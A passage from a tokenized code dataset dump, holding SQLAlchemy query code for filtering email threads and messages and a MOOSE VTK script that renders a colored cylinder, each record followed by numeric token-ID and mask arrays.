self.started_after) if self.last_message_before is not None: thread_criteria.append(Thread.recentdate < self.last_message_before) if self.last_message_after is not None: thread_criteria.append(Thread.recentdate > self.last_message_after) if self.subject is not None: thread_criteria.append(Thread.subject == self.subject) thread_predicate = and_(*thread_criteria) query = query.filter(thread_predicate) if self.tag is not None: tag_query = self.db_session.query(TagItem).join(Tag). \ filter(or_(Tag.public_id == self.tag, Tag.name == self.tag)).subquery() query = query.join(tag_query) if any((self.from_addr, self.to_addr, self.cc_addr, self.bcc_addr)): contact_criteria = [] for field in ('from_addr', 'to_addr', 'cc_addr', 'bcc_addr'): if getattr(self, field, None) is not None: contact_criteria.append(and_( Contact.email_address == getattr(self, field), MessageContactAssociation.field == field)) contact_query = self.db_session.query(Message). \ join(MessageContactAssociation).join(Contact). \ filter(or_(*contact_criteria)).subquery() query = query.join(contact_query) if self.any_email is not None: any_contact_query = self.db_session.query(Message). \ join(MessageContactAssociation).join(Contact). \ filter(Contact.email_address == self.any_email).subquery() query = query.join(any_contact_query) if self.filename is not None: files_query = self.db_session.query(Message). \ join(Part).filter(Part.filename == self.filename).subquery() query = query.join(files_query) # Eager-load some objects in order to make constructing API # representations faster. query = query.options( subqueryload(Thread.messages). load_only('public_id', 'is_draft', 'discriminator', 'from_addr', 'to_addr', 'cc_addr', 'bcc_addr'), subqueryload('tagitems').joinedload('tag'). load_only('public_id', 'name')) if self.order_by == 'subject': query = query.order_by(asc(Thread.subject)) elif self.order_by == 'date': query = query.order_by(desc(Thread.recentdate)) query = query.limit(self.limit) if self.offset: query = query.offset(self.offset) return query.all() def get_messages(self): query = self.db_session.query(Message). \ filter(Message.is_draft == False) thread_criteria = [Thread.namespace_id == self.namespace_id] if self.thread_public_id is not None: # TODO(emfree) this is a common case that we should handle # separately by just fetching the thread's messages and only # filtering more if needed. thread_criteria.append(Thread.public_id == self.thread_public_id) if self.started_before is not None: thread_criteria.append(Thread.subjectdate < self.started_before) if self.started_after is not None: thread_criteria.append(Thread.subjectdate > self.started_after) if self.last_message_before is not None: thread_criteria.append(Thread.recentdate < self.last_message_before) if self.last_message_after is not None: thread_criteria.append(Thread.recentdate > self.last_message_after) thread_predicate = and_(*thread_criteria) thread_query = self.db_session.query(Thread).filter(thread_predicate) if self.tag is not None: thread_query = thread_query.join(TagItem).join(Tag). \ filter(or_(Tag.public_id == self.tag, Tag.name == self.tag)) thread_query = thread_query.subquery() query = query.join(thread_query) if self.subject is not None: query = query.filter(Message.subject == self.subject) if self.to_addr is not None: to_query = self.db_session.query(Message). \ join(MessageContactAssociation).join(Contact). \ filter(MessageContactAssociation.field == 'to_addr', Contact.email_address == self.to_addr).subquery() query = query.join(to_query) if self.from_addr is not None: from_query = self.db_session.query(MessageContactAssociation). \ join(Contact).filter( MessageContactAssociation.field == 'from_addr', Contact.email_address == self.from_addr).subquery() query = query.join(from_query) if self.cc_addr is not None: cc_query = self.db_session.query(MessageContactAssociation). \ join(Contact).filter( MessageContactAssociation.field == 'cc_addr', Contact.email_address == self.cc_addr).subquery() query = query.join(cc_query) if self.bcc_addr is not None: bcc_query = self.db_session.query(MessageContactAssociation). \ join(Contact).filter( MessageContactAssociation.field == 'bcc_addr', Contact.email_address == self.bcc_addr).subquery() query = query.join(bcc_query) if self.any_email is not None: any_email_query = self.db_session.query( MessageContactAssociation).join(Contact). \ filter(Contact.email_address == self.any_email).subquery() query = query.join(any_email_query) if self.filename is not None: file_query = self.db_session.query(Part). \ filter(Part.filename == self.filename).subquery() query = query.join(file_query) # Eager-load some objects in order to make constructing API # representations faster. query = query.options( joinedload(Message.parts).load_only('public_id', 'content_disposition'), joinedload(Message.thread).load_only('public_id', 'discriminator')) # TODO(emfree) we should really eager-load the namespace too # (or just directly store it on the message object) if self.order_by == 'subject': query = query.order_by(asc(Message.subject)) elif self.order_by == 'date': query = query.order_by(desc(Message.received_date)) query = query.limit(self.limit) if self.offset: query = query.offset(self.offset) return query.all()
agpl-3.0
[ 504, 2197, 492, 2197, 199, 646, 330, 834, 199, 504, 8335, 492, 436, 3131, 503, 3131, 16635, 12, 4328, 199, 504, 8335, 14, 1025, 492, 16538, 912, 12, 25935, 912, 199, 504, 315, 1977, 14, 992, 492, 334, 14499, 12, 6430, 12, 6430, 14499, 18662, 12, 11086, 12, 2079, 8053, 12, 8053, 2081, 12, 14320, 9, 199, 504, 315, 1977, 14, 1974, 14, 2991, 492, 1300, 1344, 2708, 421, 199, 533, 9388, 8, 785, 304, 272, 408, 437, 3970, 367, 1006, 314, 14545, 1827, 2633, 376, 3261, 1890, 1443, 272, 986, 1041, 272, 347, 636, 826, 721, 277, 12, 3231, 63, 344, 12, 5420, 12, 687, 63, 2697, 12, 370, 63, 2697, 12, 7429, 63, 2697, 12, 326, 330, 2055, 63, 2697, 12, 1263, 63, 2123, 12, 2462, 63, 3455, 63, 344, 12, 8239, 63, 5182, 12, 326, 8239, 63, 4399, 12, 2061, 63, 1188, 63, 5182, 12, 2061, 63, 1188, 63, 4399, 12, 326, 1788, 12, 1947, 12, 2304, 12, 3268, 12, 1865, 63, 991, 12, 1592, 63, 1730, 304, 267, 291, 14, 3251, 63, 344, 275, 3231, 63, 344, 267, 291, 14, 5875, 275, 5420, 267, 291, 14, 504, 63, 2697, 275, 687, 63, 2697, 267, 291, 14, 475, 63, 2697, 275, 370, 63, 2697, 267, 291, 14, 2055, 63, 2697, 275, 7429, 63, 2697, 267, 291, 14, 21976, 63, 2697, 275, 330, 2055, 63, 2697, 267, 291, 14, 1629, 63, 2123, 275, 1263, 63, 2123, 267, 291, 14, 2671, 63, 3455, 63, 344, 275, 2462, 63, 3455, 63, 344, 267, 291, 14, 8924, 63, 5182, 275, 8239, 63, 5182, 267, 291, 14, 8924, 63, 4399, 275, 8239, 63, 4399, 267, 291, 14, 2019, 63, 1188, 63, 5182, 275, 2061, 63, 1188, 63, 5182, 267, 291, 14, 2019, 63, 1188, 63, 4399, 275, 2061, 63, 1188, 63, 4399, 267, 291, 14, 1501, 275, 1788, 267, 291, 14, 1450, 275, 1947, 267, 291, 14, 3097, 275, 2304, 267, 291, 14, 2743, 275, 3268, 267, 291, 14, 1648, 63, 991, 275, 1865, 63, 991, 267, 291, 14, 697, 63, 1730, 275, 1592, 63, 1730, 398, 327, 12134, 1324, 398, 367, 790, 315, 661, 5875, 297, 283, 1629, 63, 2123, 297, 283, 475, 63, 2697, 297, 283, 504, 63, 2697, 297, 283, 2055, 63, 2697, 297, 490, 283, 21976, 63, 2697, 297, 283, 1501, 297, 283, 1450, 735, 288, 574, 275, 2519, 8, 277, 12, 790, 12, 488, 9, 288, 340, 574, 365, 440, 488, 436, 822, 8, 585, 9, 690, 5450, 26, 355, 746, 1722, 360, 1110, 1052, 367, 1052, 365, 4634, 1846, 1370, 639, 1475, 8, 585, 12, 790, 430, 398, 340, 2462, 63, 3455, 63, 344, 365, 440, 488, 26, 288, 862, 26, 355, 1300, 1344, 2708, 8, 2671, 63, 3455, 63, 344, 9, 288, 871, 1722, 26, 355, 746, 1722, 360, 3364, 2462, 1305, 9499, 639, 1475, 8, 2671, 63, 3455, 63, 344, 430, 398, 367, 790, 315, 661, 8924, 63, 5182, 297, 283, 8924, 63, 4399, 297, 283, 2019, 63, 1188, 63, 5182, 297, 490, 283, 2019, 63, 1188, 63, 4399, 735, 288, 574, 275, 2519, 8, 277, 12, 790, 12, 488, 9, 288, 340, 574, 365, 440, 488, 26, 355, 862, 26, 490, 327, 14402, 13074, 4913, 701, 2197, 909, 14, 490, 327, 2136, 1929, 370, 663, 10313, 880, 626, 781, 883, 6540, 370, 29297, 490, 327, 626, 4898, 13256, 1808, 330, 834, 14, 1001, 63, 1974, 14, 490, 4487, 275, 2197, 14, 5834, 18531, 8, 442, 8, 585, 430, 490, 5371, 8, 277, 12, 790, 12, 4487, 14, 1814, 8, 9374, 29, 66, 834, 14, 3903, 63, 1974, 14, 5834, 430, 355, 871, 1722, 26, 490, 746, 1722, 360, 3364, 4913, 574, 1052, 367, 9499, 3660, 1475, 8, 585, 12, 790, 430, 339, 347, 664, 63, 6962, 8, 277, 304, 267, 1827, 275, 291, 14, 697, 63, 1730, 14, 1131, 8, 4436, 9, 267, 2462, 63, 20525, 275, 359, 4436, 14, 3251, 63, 344, 508, 291, 14, 3251, 63, 344, 61, 267, 340, 291, 14, 2671, 63, 3455, 63, 344, 365, 440, 488, 26, 288, 1827, 275, 1827, 14, 1541, 8, 4436, 14, 3455, 63, 344, 508, 639, 291, 14, 2671, 63, 3455, 63, 344, 9, 288, 327, 3254, 8, 5633, 4624, 304, 737, 642, 2376, 2337, 1077, 506, 737, 4750, 1373, 909, 12, 288, 327, 880, 781, 4293, 2951, 5341, 314, 1827, 436, 1104, 4722, 4766, 288, 327, 315, 2018, 13, 9688, 14, 398, 340, 291, 14, 8924, 63, 5182, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 5875, 602, 665, 291, 14, 8924, 63, 5182, 9, 398, 340, 291, 14, 8924, 63, 4399, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 5875, 602, 690, 291, 14, 8924, 63, 4399, 9, 398, 340, 291, 14, 2019, 63, 1188, 63, 5182, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 14951, 602, 665, 3521, 291, 14, 2019, 63, 1188, 63, 5182, 9, 398, 340, 291, 14, 2019, 63, 1188, 63, 4399, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 14951, 602, 690, 291, 14, 2019, 63, 1188, 63, 4399, 9, 398, 340, 291, 14, 5875, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 5875, 508, 291, 14, 5875, 9, 398, 2462, 63, 14463, 275, 436, 63, 2031, 2671, 63, 20525, 9, 267, 1827, 275, 1827, 14, 1541, 8, 2671, 63, 14463, 9, 398, 340, 291, 14, 1450, 365, 440, 488, 26, 288, 1947, 63, 1131, 275, 291, 14, 697, 63, 1730, 14, 1131, 8, 1931, 2081, 680, 904, 8, 1931, 680, 971, 355, 2457, 8, 269, 2531, 1931, 14, 3455, 63, 344, 508, 291, 14, 1450, 12, 2574, 8053, 14, 354, 508, 291, 14, 1450, 4992, 23912, 342, 953, 1827, 275, 1827, 14, 904, 8, 1450, 63, 1131, 9, 398, 340, 1263, 1332, 277, 14, 504, 63, 2697, 12, 291, 14, 475, 63, 2697, 12, 291, 14, 2055, 63, 2697, 12, 291, 14, 21976, 63, 2697, 2298, 288, 8966, 63, 20525, 275, 942, 288, 367, 901, 315, 661, 504, 63, 2697, 297, 283, 475, 63, 2697, 297, 283, 2055, 63, 2697, 297, 283, 21976 ]
[ 2197, 492, 2197, 199, 646, 330, 834, 199, 504, 8335, 492, 436, 3131, 503, 3131, 16635, 12, 4328, 199, 504, 8335, 14, 1025, 492, 16538, 912, 12, 25935, 912, 199, 504, 315, 1977, 14, 992, 492, 334, 14499, 12, 6430, 12, 6430, 14499, 18662, 12, 11086, 12, 2079, 8053, 12, 8053, 2081, 12, 14320, 9, 199, 504, 315, 1977, 14, 1974, 14, 2991, 492, 1300, 1344, 2708, 421, 199, 533, 9388, 8, 785, 304, 272, 408, 437, 3970, 367, 1006, 314, 14545, 1827, 2633, 376, 3261, 1890, 1443, 272, 986, 1041, 272, 347, 636, 826, 721, 277, 12, 3231, 63, 344, 12, 5420, 12, 687, 63, 2697, 12, 370, 63, 2697, 12, 7429, 63, 2697, 12, 326, 330, 2055, 63, 2697, 12, 1263, 63, 2123, 12, 2462, 63, 3455, 63, 344, 12, 8239, 63, 5182, 12, 326, 8239, 63, 4399, 12, 2061, 63, 1188, 63, 5182, 12, 2061, 63, 1188, 63, 4399, 12, 326, 1788, 12, 1947, 12, 2304, 12, 3268, 12, 1865, 63, 991, 12, 1592, 63, 1730, 304, 267, 291, 14, 3251, 63, 344, 275, 3231, 63, 344, 267, 291, 14, 5875, 275, 5420, 267, 291, 14, 504, 63, 2697, 275, 687, 63, 2697, 267, 291, 14, 475, 63, 2697, 275, 370, 63, 2697, 267, 291, 14, 2055, 63, 2697, 275, 7429, 63, 2697, 267, 291, 14, 21976, 63, 2697, 275, 330, 2055, 63, 2697, 267, 291, 14, 1629, 63, 2123, 275, 1263, 63, 2123, 267, 291, 14, 2671, 63, 3455, 63, 344, 275, 2462, 63, 3455, 63, 344, 267, 291, 14, 8924, 63, 5182, 275, 8239, 63, 5182, 267, 291, 14, 8924, 63, 4399, 275, 8239, 63, 4399, 267, 291, 14, 2019, 63, 1188, 63, 5182, 275, 2061, 63, 1188, 63, 5182, 267, 291, 14, 2019, 63, 1188, 63, 4399, 275, 2061, 63, 1188, 63, 4399, 267, 291, 14, 1501, 275, 1788, 267, 291, 14, 1450, 275, 1947, 267, 291, 14, 3097, 275, 2304, 267, 291, 14, 2743, 275, 3268, 267, 291, 14, 1648, 63, 991, 275, 1865, 63, 991, 267, 291, 14, 697, 63, 1730, 275, 1592, 63, 1730, 398, 327, 12134, 1324, 398, 367, 790, 315, 661, 5875, 297, 283, 1629, 63, 2123, 297, 283, 475, 63, 2697, 297, 283, 504, 63, 2697, 297, 283, 2055, 63, 2697, 297, 490, 283, 21976, 63, 2697, 297, 283, 1501, 297, 283, 1450, 735, 288, 574, 275, 2519, 8, 277, 12, 790, 12, 488, 9, 288, 340, 574, 365, 440, 488, 436, 822, 8, 585, 9, 690, 5450, 26, 355, 746, 1722, 360, 1110, 1052, 367, 1052, 365, 4634, 1846, 1370, 639, 1475, 8, 585, 12, 790, 430, 398, 340, 2462, 63, 3455, 63, 344, 365, 440, 488, 26, 288, 862, 26, 355, 1300, 1344, 2708, 8, 2671, 63, 3455, 63, 344, 9, 288, 871, 1722, 26, 355, 746, 1722, 360, 3364, 2462, 1305, 9499, 639, 1475, 8, 2671, 63, 3455, 63, 344, 430, 398, 367, 790, 315, 661, 8924, 63, 5182, 297, 283, 8924, 63, 4399, 297, 283, 2019, 63, 1188, 63, 5182, 297, 490, 283, 2019, 63, 1188, 63, 4399, 735, 288, 574, 275, 2519, 8, 277, 12, 790, 12, 488, 9, 288, 340, 574, 365, 440, 488, 26, 355, 862, 26, 490, 327, 14402, 13074, 4913, 701, 2197, 909, 14, 490, 327, 2136, 1929, 370, 663, 10313, 880, 626, 781, 883, 6540, 370, 29297, 490, 327, 626, 4898, 13256, 1808, 330, 834, 14, 1001, 63, 1974, 14, 490, 4487, 275, 2197, 14, 5834, 18531, 8, 442, 8, 585, 430, 490, 5371, 8, 277, 12, 790, 12, 4487, 14, 1814, 8, 9374, 29, 66, 834, 14, 3903, 63, 1974, 14, 5834, 430, 355, 871, 1722, 26, 490, 746, 1722, 360, 3364, 4913, 574, 1052, 367, 9499, 3660, 1475, 8, 585, 12, 790, 430, 339, 347, 664, 63, 6962, 8, 277, 304, 267, 1827, 275, 291, 14, 697, 63, 1730, 14, 1131, 8, 4436, 9, 267, 2462, 63, 20525, 275, 359, 4436, 14, 3251, 63, 344, 508, 291, 14, 3251, 63, 344, 61, 267, 340, 291, 14, 2671, 63, 3455, 63, 344, 365, 440, 488, 26, 288, 1827, 275, 1827, 14, 1541, 8, 4436, 14, 3455, 63, 344, 508, 639, 291, 14, 2671, 63, 3455, 63, 344, 9, 288, 327, 3254, 8, 5633, 4624, 304, 737, 642, 2376, 2337, 1077, 506, 737, 4750, 1373, 909, 12, 288, 327, 880, 781, 4293, 2951, 5341, 314, 1827, 436, 1104, 4722, 4766, 288, 327, 315, 2018, 13, 9688, 14, 398, 340, 291, 14, 8924, 63, 5182, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 5875, 602, 665, 291, 14, 8924, 63, 5182, 9, 398, 340, 291, 14, 8924, 63, 4399, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 5875, 602, 690, 291, 14, 8924, 63, 4399, 9, 398, 340, 291, 14, 2019, 63, 1188, 63, 5182, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 14951, 602, 665, 3521, 291, 14, 2019, 63, 1188, 63, 5182, 9, 398, 340, 291, 14, 2019, 63, 1188, 63, 4399, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 14951, 602, 690, 291, 14, 2019, 63, 1188, 63, 4399, 9, 398, 340, 291, 14, 5875, 365, 440, 488, 26, 288, 2462, 63, 20525, 14, 740, 8, 4436, 14, 5875, 508, 291, 14, 5875, 9, 398, 2462, 63, 14463, 275, 436, 63, 2031, 2671, 63, 20525, 9, 267, 1827, 275, 1827, 14, 1541, 8, 2671, 63, 14463, 9, 398, 340, 291, 14, 1450, 365, 440, 488, 26, 288, 1947, 63, 1131, 275, 291, 14, 697, 63, 1730, 14, 1131, 8, 1931, 2081, 680, 904, 8, 1931, 680, 971, 355, 2457, 8, 269, 2531, 1931, 14, 3455, 63, 344, 508, 291, 14, 1450, 12, 2574, 8053, 14, 354, 508, 291, 14, 1450, 4992, 23912, 342, 953, 1827, 275, 1827, 14, 904, 8, 1450, 63, 1131, 9, 398, 340, 1263, 1332, 277, 14, 504, 63, 2697, 12, 291, 14, 475, 63, 2697, 12, 291, 14, 2055, 63, 2697, 12, 291, 14, 21976, 63, 2697, 2298, 288, 8966, 63, 20525, 275, 942, 288, 367, 901, 315, 661, 504, 63, 2697, 297, 283, 475, 63, 2697, 297, 283, 2055, 63, 2697, 297, 283, 21976, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
harterj/moose
python/chigger/vtk_scripts/cylinder_color.py
12
1495
#!/usr/bin/env python3 #* This file is part of the MOOSE framework #* https://www.mooseframework.org #* #* All rights reserved, see COPYRIGHT for full restrictions #* https://github.com/idaholab/moose/blob/master/COPYRIGHT #* #* Licensed under LGPL 2.1, please see LICENSE for details #* https://www.gnu.org/licenses/lgpl-2.1.html import vtk n = 10 # Number of data points to create name = "data" # Name of data array generated # A Line source = vtk.vtkLineSource() source.SetResolution(n) source.SetPoint1(0, 0, 0) source.SetPoint2(0, 1, 0) source.SetResolution(n) # Create and apply nonlinear data along the line data = vtk.vtkFloatArray() data.SetName(name) data.SetNumberOfTuples(n+1) for i in range(n+1): data.SetValue(i, i*i) source.Update() source.GetOutput().GetPointData().AddArray(data) # Build tube tube = vtk.vtkTubeFilter() tube.SetInputConnection(source.GetOutputPort()) tube.SetRadius(0.2) tube.SetNumberOfSides(100) tube.SetCapping(True) mapper = vtk.vtkPolyDataMapper() mapper.SetInputConnection(tube.GetOutputPort()) mapper.SetScalarModeToUsePointFieldData() mapper.SelectColorArray(name) mapper.SetScalarRange(data.GetRange(0)) actor = vtk.vtkActor() actor.SetMapper(mapper) renderer = vtk.vtkRenderer() renderer.AddActor(actor) window = vtk.vtkRenderWindow() window.AddRenderer(renderer) window.SetSize(500, 500) interactor = vtk.vtkRenderWindowInteractor() interactor.SetRenderWindow(window) interactor.Initialize() window.Render() interactor.Start()
lgpl-2.1
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 15002, 961, 570, 365, 1777, 402, 314, 603, 5757, 899, 10059, 199, 15002, 4178, 921, 1544, 14, 573, 3362, 4857, 14, 1308, 199, 15002, 199, 15002, 2900, 4481, 4644, 12, 1937, 5877, 367, 2615, 24488, 199, 15002, 4178, 921, 5031, 14, 957, 15, 344, 11326, 393, 371, 15, 573, 3362, 15, 6582, 15, 4133, 15, 32324, 5716, 199, 15002, 199, 15002, 3909, 1334, 32426, 499, 14, 17, 12, 8749, 1937, 5113, 367, 2436, 199, 15002, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 13, 18, 14, 17, 14, 1360, 199, 199, 646, 11144, 199, 199, 78, 275, 1616, 263, 327, 4860, 402, 666, 4501, 370, 1218, 199, 354, 275, 298, 576, 2, 327, 2812, 402, 666, 1625, 4046, 199, 199, 3, 437, 7030, 199, 1365, 275, 11144, 14, 11919, 3049, 2980, 342, 199, 1365, 14, 1084, 18508, 8, 78, 9, 199, 1365, 14, 1084, 3428, 17, 8, 16, 12, 378, 12, 378, 9, 199, 1365, 14, 1084, 3428, 18, 8, 16, 12, 413, 12, 378, 9, 199, 1365, 14, 1084, 18508, 8, 78, 9, 199, 199, 3, 2790, 436, 4838, 2222, 6676, 666, 3180, 314, 1004, 199, 576, 275, 11144, 14, 11919, 5136, 3836, 342, 199, 576, 14, 1084, 985, 8, 354, 9, 199, 576, 14, 1084, 16030, 7075, 83, 8, 78, 11, 17, 9, 199, 509, 284, 315, 1425, 8, 78, 11, 17, 304, 272, 666, 14, 21322, 8, 73, 12, 284, 10, 73, 9, 199, 199, 1365, 14, 4152, 342, 199, 1365, 14, 18614, 1252, 30418, 1451, 1252, 1123, 3836, 8, 576, 9, 199, 199, 3, 6516, 307, 3375, 199, 84, 3375, 275, 11144, 14, 11919, 16397, 4131, 342, 199, 84, 3375, 14, 32195, 8, 1365, 14, 30810, 1012, 199, 84, 3375, 14, 1084, 19800, 8, 16, 14, 18, 9, 199, 84, 3375, 14, 1084, 16030, 15414, 83, 8, 1960, 9, 199, 84, 3375, 14, 1084, 35, 3262, 8, 549, 9, 199, 199, 7153, 275, 11144, 14, 11919, 12747, 1451, 11880, 342, 199, 7153, 14, 32195, 8, 84, 3375, 14, 30810, 1012, 199, 7153, 14, 1084, 13090, 1385, 1378, 6119, 3428, 792, 1451, 342, 199, 7153, 14, 5446, 4117, 3836, 8, 354, 9, 199, 7153, 14, 1084, 13090, 4709, 8, 576, 14, 1002, 4709, 8, 16, 430, 199, 199, 5021, 275, 11144, 14, 11919, 12258, 342, 199, 5021, 14, 1084, 11880, 8, 7153, 9, 199, 199, 12471, 275, 11144, 14, 11919, 11355, 342, 199, 12471, 14, 1123, 12258, 8, 5021, 9, 199, 199, 3806, 275, 11144, 14, 11919, 9216, 4301, 342, 199, 3806, 14, 1123, 11355, 8, 12471, 9, 199, 3806, 14, 1084, 2320, 8, 5783, 12, 6891, 9, 199, 199, 262, 2967, 630, 275, 11144, 14, 11919, 9216, 4301, 607, 2967, 630, 342, 199, 262, 2967, 630, 14, 1084, 9216, 4301, 8, 3806, 9, 199, 262, 2967, 630, 14, 9345, 342, 199, 199, 3806, 14, 9216, 342, 199, 262, 2967, 630, 14, 3162, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 19, 199, 15002, 961, 570, 365, 1777, 402, 314, 603, 5757, 899, 10059, 199, 15002, 4178, 921, 1544, 14, 573, 3362, 4857, 14, 1308, 199, 15002, 199, 15002, 2900, 4481, 4644, 12, 1937, 5877, 367, 2615, 24488, 199, 15002, 4178, 921, 5031, 14, 957, 15, 344, 11326, 393, 371, 15, 573, 3362, 15, 6582, 15, 4133, 15, 32324, 5716, 199, 15002, 199, 15002, 3909, 1334, 32426, 499, 14, 17, 12, 8749, 1937, 5113, 367, 2436, 199, 15002, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 13, 18, 14, 17, 14, 1360, 199, 199, 646, 11144, 199, 199, 78, 275, 1616, 263, 327, 4860, 402, 666, 4501, 370, 1218, 199, 354, 275, 298, 576, 2, 327, 2812, 402, 666, 1625, 4046, 199, 199, 3, 437, 7030, 199, 1365, 275, 11144, 14, 11919, 3049, 2980, 342, 199, 1365, 14, 1084, 18508, 8, 78, 9, 199, 1365, 14, 1084, 3428, 17, 8, 16, 12, 378, 12, 378, 9, 199, 1365, 14, 1084, 3428, 18, 8, 16, 12, 413, 